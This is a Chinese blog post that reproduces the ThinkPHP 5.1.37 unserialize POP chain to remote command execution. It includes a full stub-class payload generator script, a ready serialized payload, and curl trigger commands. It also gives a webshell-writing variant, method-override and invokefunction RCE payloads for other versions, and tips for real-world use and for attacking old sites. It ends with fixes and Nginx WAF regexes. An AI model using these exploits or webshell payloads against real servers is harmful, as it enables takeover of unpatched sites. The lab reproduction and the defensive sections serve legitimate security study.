Skip to content
Kurisu
Go back

ThinkPHP 5.1.37 反序列化链复现:从 POP 链到 RCE

免责声明:本文仅用于本地自建靶场的漏洞原理学习与复现,所有操作均在 127.0.0.1 的隔离环境中完成,不涉及任何真实目标。

1. 漏洞背景

ThinkPHP 是国内使用量最大的 PHP 框架之一,5.1.x 是其生命周期最长、装机量最大的版本线。2019 年,安全研究员 Mochazz(ThinkPHP-Vuln 仓库)公开了 ThinkPHP 5.1.x 的反序列化利用链分析:当应用存在 unserialize() 用户可控输入的反序列化点时,攻击者无需任何已知口令或前置条件,即可通过精心构造的序列化对象一路触发魔术方法,最终抵达 call_user_func('system', ...) 实现远程命令执行(RCE)。

几个关键事实:

同一时期 ThinkPHP 还爆出过 _method=__construct&filter[]=system 风格的方法覆盖 RCE(5.0.x)、s=index/\think\app/invokefunction 路由 RCE(5.0.x / 5.1.x ≤ 5.1.30)等一揽子漏洞,本文只聚焦反序列化链这一支。

2. 反序列化基础

2.1 序列化与反序列化

PHP 的 serialize() 可以把任意对象拍平成字符串,unserialize() 再把它还原成对象:

$obj = new User('admin');
$s = serialize($obj);      // O:4:"User":1:{s:4:"name";s:5:"admin";}
$obj2 = unserialize($s);   // 还原

还原出来的对象和正常 new 的对象行为完全一致——包括触发它的魔术方法。危险就在这:序列化字符串完全由攻击者控制,攻击者可以把”任意类、任意属性值”的对象交给 unserialize() 还原。

2.2 魔术方法

PHP 在特定时机自动调用的方法称为魔术方法(magic methods),反序列化利用主要盯三个:

魔术方法触发时机利用价值
__destruct()对象被销毁(脚本结束 / 引用计数归零)反序列化后必然触发,POP 链最常用的起点
__wakeup()unserialize() 还原对象时反序列化入口的”第一脚”,可做前置控制
__toString()对象被当作字符串使用(如 file_exists($obj)、拼接)让”类型判断/文件操作”变成”方法调用”的桥

2.3 POP 链是什么

ROP(Return-Oriented Programming)是二进制利用里”借程序已有的指令片段拼出攻击逻辑”;POP(Property-Oriented Programming)是它的 PHP 版:不注入新代码,而是借应用/框架自己类库里已经存在的魔术方法和普通方法,通过精心设置的属性值,把一次 unserialize() 一路”调用”到危险函数。

构造 POP 链就是回答三个问题:

  1. 起点:反序列化后哪个 __destruct / __wakeup 会先执行,且其行为可控?
  2. 桥梁:怎么把对象传递链变成”字符串上下文”,触发 __toString 并继续往下走?
  3. 终点:哪个方法最终调用 call_user_func / eval 等危险函数,参数又来自哪个可控属性?

ThinkPHP 5.1.37 的这条链,三个问题的答案分别是 Windows::__destructModel::__toStringRequest::input

3. 链分析:源码审计

以下源码均来自 thinkphp/library/think/(5.1.37 原版),行号为实测靶场中的真实行号。

3.1 起点:Windows::__destruct → removeFiles

think\process\pipes\Windows.php 是框架内部用于管理 Windows 管道进程的类,它的析构函数会清理临时文件:

// Windows.php:56-60
public function __destruct()
{
    $this->close();
    $this->removeFiles();
}

// Windows.php:160-168
private function removeFiles()
{
    foreach ($this->files as $filename) {
        if (file_exists($filename)) {
            @unlink($filename);
        }
    }
}

注意 $this->filesprivate 属性,完全由序列化数据决定。如果我们让 files 数组的第一个元素不是字符串,而是一个 Model 对象,那么 file_exists($filename) 在 PHP 7 中会把对象强转为字符串——触发 __toString()。链被点燃了。

3.2 桥梁:Conversion::__toString → toArray → getAttr

think\model\concern\Conversion(Model 的转换 trait)定义了 __toString,它会尝试把模型转成 JSON:

// Conversion.php:238-241
public function __toString()
{
    return $this->toJson();
}

// Conversion.php:222-225
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
    return json_encode($this->toArray(), $options);
}

toArray() 中有一段处理”追加关联对象”的逻辑(131-214 行,重点是 184-195 行),它会取出 $this->data[$key] 里存放的任意对象并调用它的 visible() 方法

if (!empty($this->append)) {
    foreach ($this->append as $key => $name) {
        if (is_array($name)) {
            // 追加关联对象
            $relation = $this->getRelation($key);   // relation 属性为空 → false
            if (!$relation) {
                $relation = $this->getAttr($key);   // Attribute trait: getAttr → getData → data[$key]
                $relation->visible($name);          // ← 对 data['x'] 里的对象调用 visible()
            }
            $item[$key] = $relation->append($name)->toArray();
        }
        // ...
    }
}

这里 getAttr() 定义在 think\model\concern\Attribute trait 中,最终落到 getData() 返回 $this->data[$key]。于是我们控制三个 protected 属性:

关键跳跃$relation->visible($name) —— Request 类没有 visible() 方法,会进入 Request::__call

3.3 终点:Request::__call → isAjax → param → input → call_user_func

think\Request 是框架的请求封装类,它有一个”钩子”机制:不存在的魔法调用可以交给 $this->hook 数组里注册的 callable 处理:

// Request.php:327-335
public function __call($method, $args)
{
    if (array_key_exists($method, $this->hook)) {
        array_unshift($args, $this);                       // 把 Request 自己塞到参数最前面
        return call_user_func_array($this->hook[$method], $args);
    }
    throw new Exception('method not exists:' . static::class . '->' . $method);
}

如果我们设置 hook = ['visible' => [$request, 'isAjax']],那么 visible($name) 会被转发成 $request->isAjax($request, $name)。为什么中间要绕 isAjax 而不是直接 hook['visible'] = [$request, 'input']?因为 __callarray_unshift 把 Request 对象塞进第一个参数,input() 的第一参数是 $data 数组,收到对象会直接报错;而 isAjax($ajax = false) 的第一个参数是”是否强制 Ajax 判断”的开关,传对象进来时 true === $ajax 不成立,会被忽略,函数继续往下走:

// Request.php:1640-1652
public function isAjax($ajax = false)
{
    $value = $this->server('HTTP_X_REQUESTED_WITH');
    $result = 'xmlhttprequest' == strtolower($value) ? true : false;

    if (true === $ajax) {
        return $result;                       // $ajax 是对象,跳过
    }

    $result = $this->param($this->config['var_ajax']) ? true : $result;   // ← 进入 param
    return $result;
}

param() 读取配置的键名(我们设 config['var_ajax'] = 'x'),合并请求变量后交给 input()

// Request.php:928-962
public function param($name = '', $default = null, $filter = '')
{
    if (!$this->mergeParam) {
        $method = $this->method(true);        // 读 server['REQUEST_METHOD'],需预置 'GET'
        // ... 合并 get/post/route 到 $this->param
        $this->mergeParam = true;
    }
    return $this->input($this->param, $name, $default, $filter);   // input($param, 'x', null, '')
}

input() 里:getData($param, 'x') 取出 param['x'](我们设为要执行的命令 whoami),过滤器取 $this->filter(我们设为 system),最后:

// Request.php:1347+,filterValue 内部
$value = call_user_func($filter, $value);     // call_user_func('system', 'whoami') 🎯

命令执行,回显输出。整条链收束。

3.4 关键类图

┌────────────────────────────────────────────────────────────────┐
│ think\process\pipes\Windows  (private $files)                  │
│   __destruct() ──► removeFiles() ──► file_exists($files[0])    │
└──────────────────────────────┬─────────────────────────────────┘
                               │ $files[0] = Model 对象 → 强转字符串

┌────────────────────────────────────────────────────────────────┐
│ think\Model (abstract,用 think\model\Pivot 实例化)             │
│   trait Conversion::__toString ─► toJson ─► toArray()          │
│     append['x']=['y'] 分支: getRelation 失败 → getAttr('x')    │
│     (trait Attribute::getAttr ─► getData ─► data['x'])         │
│     → data['x'] 是 Request 对象 → $relation->visible($name)    │
└──────────────────────────────┬─────────────────────────────────┘
                               │ Request 无 visible() → __call

┌────────────────────────────────────────────────────────────────┐
│ think\Request (hook / config / param / filter / server ...)    │
│   __call('visible') ─► hook['visible']=[Request,'isAjax']      │
│   ─► isAjax($ajax=Request对象, 忽略)                            │
│   ─► param(config['var_ajax']='x') ─► input(param,'x')         │
│   ─► getData → param['x']='whoami'                             │
│   ─► getFilter → filter='system'                               │
│   ─► filterValue ─► call_user_func('system','whoami')  🎯 RCE  │
└────────────────────────────────────────────────────────────────┘

各环节关键类与方法速查:

环节类 / Trait方法文件(5.1.37)
起点think\process\pipes\Windows__destruct / removeFilesthinkphp/library/think/process/pipes/Windows.php:56-60, 160-168
桥 1think\model\concern\Conversion__toString / toJson / toArraythinkphp/library/think/model/concern/Conversion.php:238-241, 222-225, 131-214
桥 2think\model\concern\AttributegetAttr / getDatathinkphp/library/think/model/concern/Attribute.php
转发think\Request__call / isAjax / param / inputthinkphp/library/think/Request.php:327-335, 1640-1652, 928-962, 1347+
终点call_user_func($filter, $value)Request::filterValueinput 内部)

对象图(EXP 要设置的属性一览)

对象属性(可见性)作用
Windowsfiles(private)[Pivot对象]起点:__destruct 时触发 __toString
Pivot(Model)append(protected)['x' => ['y']]toArray 走进 184-195 分支
data(protected)['x' => Request对象]getAttr('x') 返回 Request
relation(protected)[]强制走 getAttr 分支
visible / hidden(protected)[]避免干扰
Requesthook(protected)['visible' => [$request, 'isAjax']]__call 转发到 isAjax
config(protected)['var_ajax' => 'x']isAjax 取 param 键名
param(protected)['x' => 'whoami']要执行的命令
filter(protected)'system'最终被 call_user_func 调用的函数
server(protected)['REQUEST_METHOD' => 'GET', ...]method(true) / server() 正常返回
get / route / mergeParam(protected)[] / [] / falseparam() 合并逻辑不报错、不走缓存分支

两个易错点:

  1. 不能用 trait 名直接做对象ConversionAttribute 是 trait,unserialize 出”trait 名对象”是没有任何方法的假对象,__toString 不会触发。必须用真实 use 了这些 trait 的类——think\model\Pivot(继承自 think\Model)就是现成的。Model 本身是 abstract,生成 payload 时无法 new
  2. 为什么 hook 必须经 isAjax 中转__callarray_unshift($args, $this),若 hook 直接指向 input/param,第一个参数会变成 Request 对象导致强转报错;isAjax 的第一个参数是”是否强制判断”开关,对象传进来会被忽略,是干净的中转站(isPjax 同理)。

4. EXP 构造

生成 payload 有两种姿势:

  1. 反射法:在靶场项目内 require 框架,用 ReflectionClass::newInstanceWithoutConstructor() 绕过构造函数实例化真实类,设属性后 serialize()。最稳,但要依赖靶场环境。
  2. 桩类法(本文采用):在独立 PHP 脚本里声明同名同命名空间、同属性可见性的”桩类”,PHP 序列化只关心”类名 + 属性名 + 可见性”,生成的字符串被目标端 unserialize 时会还原成目标端真实的类,真实方法照常执行。桩类的属性可见性必须与真实类完全一致(protected → 序列化名带 \0*\0 前缀,private → 带 \0类名\0 前缀),否则属性名对不上,链直接断。
<?php
// exp_gen.php —— 生成 ThinkPHP 5.1.37 反序列化 payload(桩类法)
// 用法: php exp_gen.php "whoami"  (第一个参数为要执行的命令)

namespace think\process\pipes {
    class Windows {
        private $files = [];
        public function __construct($files) {
            $this->files = $files;                 // 私有属性在类内部赋值
        }
    }
}

namespace think\model\concern {
    trait Conversion {}                            // 占位 trait,仅为对齐真实类结构
    trait Attribute {}
}

namespace think {
    abstract class Model {
        use model\concern\Attribute;
        use model\concern\Conversion;
        // 与真实类一致的 protected 属性(5.1.37 实测)
        protected $append = [];
        protected $data = [];
        protected $relation = [];
        protected $visible = [];
        protected $hidden = [];
        // 供子类构造函数调用的注入点
        protected function inject(array $append, array $data) {
            $this->append   = $append;
            $this->data     = $data;
            $this->relation = [];
            $this->visible  = [];
            $this->hidden   = [];
        }
    }
}

namespace think\model {
    use think\Model;
    class Pivot extends Model {
        public function __construct($append, $data) {
            $this->inject($append, $data);         // 在子类内访问 protected 属性
        }
    }
}

namespace think {
    class Request {
        protected $hook = [];
        protected $config = [];
        protected $param = [];
        protected $filter;
        protected $server = [];
        protected $get = [];
        protected $route = [];
        protected $mergeParam = false;

        public function __construct($cmd, $filter = 'system') {
            $this->hook     = ['visible' => [$this, 'isAjax']];   // 自引用:同一实例
            $this->config   = ['var_ajax' => 'x'];
            $this->param    = ['x' => $cmd];
            $this->filter   = $filter;                            // system / exec / assert / phpinfo
            $this->server   = ['REQUEST_METHOD' => 'GET', 'HTTP_X_REQUESTED_WITH' => ''];
            $this->get      = [];
            $this->route    = [];
            $this->mergeParam = false;
        }
    }
}

namespace {
    use think\Request;
    use think\model\Pivot;
    use think\process\pipes\Windows;

    $cmd     = $argv[1] ?? 'whoami';
    $request = new Request($cmd);                  // 1. Request:终点,hook 自引用
    $pivot   = new Pivot(['x' => ['y']], ['x' => $request]);   // 2. Model:桥梁
    $windows = new Windows([$pivot]);              // 3. Windows:起点

    $payload = serialize($windows);
    echo "RAW: " . $payload . "\n\n";
    echo "URL: " . urlencode($payload) . "\n";
}

执行:

php exp_gen.php "id"

输出示例(类名/属性名长度按字节精确计算,含 NUL 字节):

RAW: O:27:"think\process\pipes\Windows":1:{s:34:"\0think\process\pipes\Windows\0files";a:1:{i:0;O:17:"think\model\Pivot":5:{s:9:"\0*\0append";a:1:{s:1:"x";a:1:{i:0;s:1:"y";}}s:7:"\0*\0data";a:1:{s:1:"x";O:13:"think\Request":8:{s:7:"\0*\0hook";a:1:{s:7:"visible";a:2:{i:0;r:4;i:1;s:6:"isAjax";}}s:9:"\0*\0config";a:1:{s:8:"var_ajax";s:1:"x";}s:8:"\0*\0param";a:1:{s:1:"x";s:2:"id";}}s:11:"\0*\0filter";s:6:"system";s:9:"\0*\0server";a:2:{s:14:"REQUEST_METHOD";s:3:"GET";s:22:"HTTP_X_REQUESTED_WITH";s:0:"";}}s:11:"\0*\0relation";a:0:{}s:10:"\0*\0visible";a:0:{}s:9:"\0*\0hidden";a:0:{}}}

URL 编码后带 %00,用 curl / Python requests 直接传没问题(部分浏览器地址栏会吞 NUL 字节,用 --data-urlencode 或代码发送更稳)。

写 Shell 变体:把 filter 换成 assertparam['x'] 换成 assert 能执行的单行代码(如 file_put_contents('shell.php','<?php eval($_POST[1]);?>'));或直接用 system 执行 echo '<?php ...' > shell.php。命令执行能力到手后,写 shell 只是姿势问题。实战中更推荐 exec + 回显拼接,或带外(OOB)验证避免回显干扰。

5. 靶场验证

5.1 自建靶场

用 phpStudy 全家桶 5 分钟搭一个 ThinkPHP 5.1.37 靶场(本文环境:Windows + PHP 7.3.4 NTS):

# 1. composer 建项目(必须锁精确版本!5.1.* 通配会装到 5.1.42,链的行号/行为有差异)
#    且 composer 2.9+ 默认拦截已知漏洞包,先关掉审计拦截
composer config -g audit.block-insecure false
composer create-project "topthink/think:5.1.37" D:\phpstudy_pro\WWW\tpdemo5137 --no-dev -n

# 2. 允许 think-installer 插件
composer config allow-plugins.topthink/think-installer true

# 3. 控制器加反序列化入口(模拟真实世界最常见的错误写法)
#    application/index/controller/Index.php
#    public function index() {
#        $u = isset($_GET['c']) ? unserialize($_GET['c']) : null;   // 漏洞点
#        return 'hhh';
#    }

# 4. php.ini:把 system/exec 从 disable_functions 移除(phpStudy 默认禁用,会挡住 RCE 复现)

# 5. 启动(PATH 需能解析 php,think run 内部用 passthru 调裸 php 命令)
PATH="/d/phpstudy_pro/Extensions/php/php7.3.4nts:$PATH" php think run -H 127.0.0.1 -p 8000

靶场环境清单:

组件
框架topthink/think 5.1.37(composer 锁定)
PHP7.3.4 NTS(phpStudy)
入口http://127.0.0.1:8000/index/index/index?c=<payload>
漏洞点Index::index()unserialize($_GET['c'])

5.2 触发验证

第一步:先用最短 payload 验证 __destruct 真的被触发(只含 files 属性,指向一个不存在的文件,file_exists 返回 false 即结束,安全无副作用):

O:27:"think\process\pipes\Windows":1:{s:34:"\0think\process\pipes\Windows\0files";a:1:{i:0;s:20:"/tmp/hermes-test.txt";}}

请求后若 runtime/log/ 里出现 file_exists(/tmp/hermes-test.txt) 相关的调用记录,或下断点能命中 Windows.php:56,说明入口可用。注意:5.1 的 __destruct请求结束对象 GC 时触发,所以页面正常返回后析构才执行。

第二步:完整链打 RCE。用第 4 节的 exp_gen.php 生成 payload:

php exp_gen.php "whoami" > payload.txt
# 取 URL 编码行发送(curl 单引号包裹,避免 %00 被 shell 吞)
curl -s "http://127.0.0.1:8000/index/index/index?c=$(cat payload.txt | sed -n 's/^URL: //p')"

回显(Windows 靶场):

hhh
desktop-xxxx\18270

whoami 的输出出现在响应体里,说明 call_user_func('system', 'whoami') 已执行。再验证一个无回显副作用命令 ipconfig / Linux 上 iduname -a,均可正常回显。

命令执行后的输出流向system() 直接向标准输出打印 → 出现在 HTTP 响应体中;随后 toArray()$relation->append($name)->toArray() 会因 Request 没有 append 钩子抛异常导致 500,但命令已执行、输出已回显,不影响利用。

5.3 同家族对比:_method=__construct 风格

ThinkPHP 5.0.x 还有一个广为人知的同家族利用(方法覆盖 RCE):

POST /index.php?s=/index/index/index HTTP/1.1
Content-Type: application/x-www-form-urlencoded

_method=__construct&filter[]=system&method=get&get[]=whoami

原理:Request::method() 读取 POST 中的 _method 并直接 $this->{$method}($_POST),传入 __construct 等于用 POST 参数重新初始化 Request 对象filter[] 覆盖过滤器、get[] 成为参数,最后 param() → input() → call_user_func('system','whoami')

注意:这个姿势在 5.1.37 上打不通——5.1.x 的 method()_method 值做了白名单校验(只允许 get/post/put/patch/delete),__construct 会被拦下。5.1.x 同期能打的是 s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id 路由型 RCE(5.1.31 修复)。所以 5.1.37 上真正好用的是本文这条反序列化链,两者一起掌握,遇到 ThinkPHP 老站就能按版本对症下药。

6. 修复建议

6.1 升级版本(治本)

6.2 代码层:禁止反序列化不可信输入(核心)

// 只允许还原白名单类,其余一律变成 __PHP_Incomplete_Class
$data = unserialize($input, ['allowed_classes' => ['App\Cache\SessionBox']]);

// 更彻底:完全禁止类还原(纯数组场景)
$data = unserialize($input, ['allowed_classes' => false]);
grep -rn "unserialize(" app/ --include="*.php"
grep -rn "unserialize(" vendor/ --include="*.php" | grep -v "allowed_classes"

重点盯缓存类(cache('xxx') 的序列化存取)、session 处理器、__wakeup 里做二次反序列化的组件、第三方 SDK 的”反序列化回显”接口。

6.3 WAF / 中间件规则(缓解)

WAF 对反序列化攻击的检测难点在于 payload 可以 URL 编码、base64、gzip 变形,规则只能”提高门槛、制造噪音”,不能当唯一防线:

# Nginx 层拦截示例(配合 lua/OpenResty 或 nginx-mod-security 更灵活)
# 1) 5.0.x 方法覆盖 RCE
if ($request_body ~* "_method[ ]*=[ ]*__construct")   { return 403; }
# 2) filter 参数注入危险函数
if ($request_body ~* "filter\[\][ ]*=[ ]*(system|exec|assert|eval|passthru|shell_exec)") { return 403; }
# 3) 路由型 RCE(invokefunction / \think\ 直接路由)
if ($request_uri ~* "(invokefunction|\\think\\\\)")    { return 403; }
# 4) 序列化对象特征(O:<数字>:"<类名> 出现在请求参数中)
if ($request_uri ~* "O:[0-9]+:\"[A-Za-z\\\\]")        { return 403; }

商业 WAF(如雷池 SafeLine)可直接配置自定义规则,正则同上;并开启”请求体深度检测”,避免 %00、URL 编码绕过。注意O: 特征规则对正常业务里合法传递序列化数据的接口有误报风险,建议按 URI 白名单收敛。

6.4 纵深防御

总结

ThinkPHP 5.1.x 反序列化链的复现路径清晰:Windows::__destruct(起点)→ file_exists 强转触发 Model::__toString(桥梁)→ Conversion::toArray 调用 data 中的对象方法 → Request::__call 钩子转发 → isAjax 中转 → paraminputcall_user_func('system', $cmd)(终点)。整条链只用框架自带类,Windows/Linux 通杀,5.1.x 全系受影响。

对防御方来说,这条链真正可怕的地方在于:漏洞不在框架的某一个函数,而在”反序列化不可信输入”这个反模式本身。修好这个根因(升级 6.x/8.x + 禁用不可信反序列化 + allowed_classes 白名单),比堆十条 WAF 规则都管用。


Share this post:

Previous Post
渗透测试 Skills 体系:AI 驱动的全链路知识工程
Next Post
SSTI 模板注入:检测、利用与修复